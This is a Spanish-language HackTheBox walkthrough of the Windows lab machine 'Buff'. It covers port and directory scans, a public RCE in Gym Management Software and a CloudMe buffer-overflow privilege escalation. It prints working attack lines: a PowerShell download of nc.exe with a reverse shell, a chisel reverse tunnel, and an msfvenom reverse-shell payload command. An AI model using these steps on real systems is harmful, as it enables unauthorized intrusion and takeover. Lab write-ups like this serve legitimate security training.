Contents

HackTheBox - Buff

HackTheBox - Buff

Informacion de la Maquina

Buff es una maquina de HackTheBox con SO Windows, encontramos un RCE en Gym Managmente Software lo que nos dio acceso con el usuario Shaun. Observamos un puerto localmente perteneciente a CloudMe, ejecutamos un reverse tunneling para poder explotar la vulnerabilidad Buffer Overflow y obtener acceso privilegiado.

DificultadFACIL
OSWindows
Fecha de Salida2020-07-18
First User BloodCoaran (0H 5M 53S)
First Root Bloodjkr (0H 58M 18S)
Rated Difficulty
Machine Matrix

Recon

nmap

Escaneo de puertos tcp, nmap nos muestra el puerto 7680 y el puerto http (8080) abiertos.

bash
 1# Nmap 7.80 scan initiated Sat Sep 12 02:35:25 2020 as: nmap -Pn -p- --min-rate 1000 -o allports buff.htb
 2Nmap scan report for buff.htb (buff.htb)
 3Host is up (0.21s latency).
 4Not shown: 65533 filtered ports
 5PORT     STATE SERVICE
 67680/tcp open  pando-pub
 78080/tcp open  http-proxy
 8
 9# Nmap done at Sat Sep 12 02:38:42 2020 -- 1 IP address (1 host up) scanned in 197.50 seconds
10
11# Nmap 7.80 scan initiated Sat Sep 12 02:39:30 2020 as: nmap -Pn -sV -sC -p 7689,8080 -o serviceports buff.htb
12Nmap scan report for buff.htb (buff.htb)
13Host is up (0.068s latency).
14
15PORT     STATE    SERVICE  VERSION
167689/tcp filtered collaber
178080/tcp open     http     Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
18| http-open-proxy: Potentially OPEN proxy.
19|_Methods supported:CONNECTION
20|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
21|_http-title: mrb3n's Bro Hut
22
23Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
24# Nmap done at Sat Sep 12 02:39:58 2020 -- 1 IP address (1 host up) scanned in 27.62 seconds

Web Site

Encontramos una pagina web en el puerto 80.

image

Dirbuster

Utilizamos dirbuster para busqueda de directorios y archivos.

bash
 1 _|. _ _  _  _  _ _|_    v0.3.9
 2(_||| _) (/_(_|| (_| )
 3
 4Extensions:  | HTTP method: GET | Suffixes: php, html, txt | Threads: 150 | Wordlist size: 4614 | Request count: 4614
 5
 6Error Log: /home/kali/tools/dirsearch/logs/errors-20-09-12_02-45-06.log
 7
 8Target: http://buff.htb:8080/
 9
10Output File: /home/kali/tools/dirsearch/reports/buff.htb/20-09-12_02-45-08
11
12[02:45:08] Starting: 
13[02:45:10] 200 -    5KB - /
14[02:45:13] 403 -    1KB - /admin.pl
15[02:45:14] 403 -    1KB - /admin.cgi
16[02:45:17] 403 -    1KB - /AT-admin.cgi
17[02:45:18] 403 -    1KB - /aux
18[02:45:20] 403 -    1KB - /cachemgr.cgi
19[02:45:21] 301 -  334B  - /boot  ->  http://buff.htb:8080/boot/
20[02:45:23] 403 -    1KB - /com1
21[02:45:23] 403 -    1KB - /com2
22[02:45:23] 403 -    1KB - /cgi-bin/
23[02:45:24] 403 -    1KB - /com3
24[02:45:25] 403 -    1KB - /con
25[02:45:33] 301 -  332B  - /ex  ->  http://buff.htb:8080/ex/
26[02:45:34] 503 -    1KB - /examples
27[02:45:41] 200 -    5KB - /index.php
28[02:45:42] 301 -  337B  - /include  ->  http://buff.htb:8080/include/
29[02:45:43] 301 -  333B  - /img  ->  http://buff.htb:8080/img/
30[02:45:43] 200 -   18KB - /LICENSE
31[02:45:43] 403 -    1KB - /licenses
32[02:45:45] 200 -   18KB - /license
33[02:45:45] 403 -    1KB - /lpt1
34[02:45:45] 403 -    1KB - /lpt2
35[02:45:55] 403 -    1KB - /phpmyadmin
36[02:45:57] 301 -  337B  - /profile  ->  http://buff.htb:8080/profile/
37[02:45:57] 403 -    1KB - /prn
38[02:45:58] 403 -    1KB - /nul
39[02:46:03] 403 -    1KB - /server-info
40[02:46:03] 403 -    1KB - /server-status
41
42Task Completed

User - Shaun

Al revisar la pagina vemos la version de la aplicacion web la cual es Gym Management Software 1.0.

image

Exploramos si existe una vulnerabilidad en esta aplicacion y encontramos que tiene una vulnerabilidad de RCE utilizando una imagen. Descargamos el exploit, ejecutamos y logramos obtener una shell y nuestra flag user.txt.

image

Ejecutamos una shell inversa con netcat, el cual descargamos en la maquina y ejecutamos esta hacia nuestra IP y puerto.

powershell
1powershell -command "& { iwr 10.10.10.40/nc.exe -OutFile C:\Users\shaun\Desktop\nc.exe }"
2C:\Users\shaun\Desktop\nc.exe -e cmd 10.10.10.40 443

Creamos un pequeño servidor http con python3 y pusimos a la escucha netcat, logrando obtener una shell con el usuario SHAUN.

Privesc

Realizamos una pequeña enumeracion en la maquina y encontramos un ejecutable en la carpeta de descargas del usuario shaun.

image

Al realizar una busqueda de este archivo encontramos un exploit que afecta a un servicio. Además de ello encontramos el puerto 8888 en el cual corre este servicio en la maquina, pero este esta de manera local.

shell
 1C:\xampp\htdocs\gym\upload>tasklist | find /i "CloudMe"
 2tasklist | find /i "CloudMe"
 3CloudMe.exe                   7388                            0     18,628 K
 4C:\xampp\htdocs\gym\upload>netstat -ano | find /i "LISTENING"
 5netstat -ano | find /i "LISTENING"
 6  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       956
 7  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
 8  TCP    0.0.0.0:5040           0.0.0.0:0              LISTENING       5736
 9  TCP    0.0.0.0:7680           0.0.0.0:0              LISTENING       4256
10  TCP    0.0.0.0:8080           0.0.0.0:0              LISTENING       3648
11  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       528
12  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       1108
13  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       1504
14  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       2156
15  TCP    0.0.0.0:49668          0.0.0.0:0              LISTENING       672
16  TCP    0.0.0.0:49669          0.0.0.0:0              LISTENING       688
17  TCP    10.10.10.198:139       0.0.0.0:0              LISTENING       4
18  TCP    127.0.0.1:3306         0.0.0.0:0              LISTENING       7844
19  TCP    127.0.0.1:8888         0.0.0.0:0              LISTENING       8416
20  TCP    [::]:135               [::]:0                 LISTENING       956
21  TCP    [::]:445               [::]:0                 LISTENING       4
22  TCP    [::]:7680              [::]:0                 LISTENING       4256
23  TCP    [::]:8080              [::]:0                 LISTENING       3648
24  TCP    [::]:49664             [::]:0                 LISTENING       528
25  TCP    [::]:49665             [::]:0                 LISTENING       1108
26  TCP    [::]:49666             [::]:0                 LISTENING       1504
27  TCP    [::]:49667             [::]:0                 LISTENING       2156
28  TCP    [::]:49668             [::]:0                 LISTENING       672
29  TCP    [::]:49669             [::]:0                 LISTENING       688
30
31C:\xampp\htdocs\gym\upload>

Utlizamos chisel para realizar reverse tunneling al puerto 8888, descargamos este en la maquina y ejecutamos un tunel reverso de SSH a nuestra maquina, para obtener el puerto 8888 localmente y explotarlo con el exploit que encontramos.

bash
1chisel.exe client 10.10.14.44:8080 R:8888:127.0.0.1:8888

En nuestra maquina ejecutamos chisel server:

bash
1chisel server -p 8080 --reverse

Ahora que tenemos el puerto 8888 localmente podemos explotar este con el exploit pero primero debemos de crear nuestro payload con msfvenom para que ejecute una shell inversa.

bash
1msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.44 LPORT=1338 -f c

Una vez generado nuestro payload reemplazamos el que esta en el exploit con el nuestro, ponemos a la escucha netcat localmente, ejecutamos el exploit y logramos obtener una shell con usuario Administrator y nuestra flag root.txt.

image

sckull

Written by sckull

eJPT · eCPPT · eMAPT

Prev HackTheBox - Sauna
Next HackTheBox - Blunder